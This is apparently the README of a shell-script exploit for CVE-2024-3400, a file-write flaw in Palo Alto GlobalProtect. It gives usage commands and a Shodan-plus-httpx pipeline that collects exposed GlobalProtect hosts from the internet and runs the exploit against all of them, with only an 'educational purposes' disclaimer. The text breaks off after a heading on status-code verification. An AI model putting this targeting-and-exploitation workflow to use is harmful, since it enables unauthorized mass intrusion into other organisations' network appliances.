CVE-2024-3400 Palo Alto File Write Exploit
This exploit search over Global Protect URLS instances & try to write-file using CVE-2024-3400
[ Use with Caution ]
[ Made with educational Purpouses only ]
Usage:
chmod +x gp-exploit.sh
./gp-exploit.sh file_name_to_write urls.txt
Shodan Search & Url's filtering:
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts
# ./gp-exploit file_name gp.hosts
Status Code Reponses Verification: